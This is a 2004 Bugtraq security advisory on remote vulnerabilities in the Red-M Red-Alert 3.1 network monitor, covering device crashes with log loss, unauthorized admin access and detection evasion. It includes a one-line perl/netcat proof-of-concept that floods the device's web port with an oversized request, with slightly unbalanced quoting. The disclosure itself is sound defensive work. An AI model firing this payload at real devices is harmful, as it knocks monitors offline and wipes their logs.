Multiple Red-M Red-Alert Remote Vulnerabilities

Bugtraq ID:	9618
Class:	Unknown
CVE:
Remote:	Yes
Local:	No
Published:	Feb 09 2004 12:00AM
Updated:	Feb 09 2004 12:00AM
Credit:	Discovery credited to Bruno Morisson.
Vulnerable:	Red-M Red-Alert 3.1
Not Vulnerable:

Multiple Red-M Red-Alert Remote Vulnerabilities

Problems in various abilities have been identified in the Red-M Red-Alert network monitors. Because of this issues, an attacker may be able to crash a vulnerable device and eliminate logs, gain unauthorized access to the administrative interface, or partially evade detection by an affected device.

Multiple Red-M Red-Alert Remote Vulnerabilities

The following proof-of-concept has been made available by Bruno Morisson:

$ perl -e 'print "a"x1230 . "\r\n\r\n"| nc <device ip> 80

Multiple Red-M Red-Alert Remote Vulnerabilities

Solution:
It has been reported that fixes are available through Red-M. This has not been confirmed by Red-M or Symantec.
-----
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Multiple Red-M Red-Alert Remote Vulnerabilities

References:

• Wireless Lan Products (Red-M)
  
• Red-M Red-Alert Multiple Vulnerabilities (Bruno Morisson )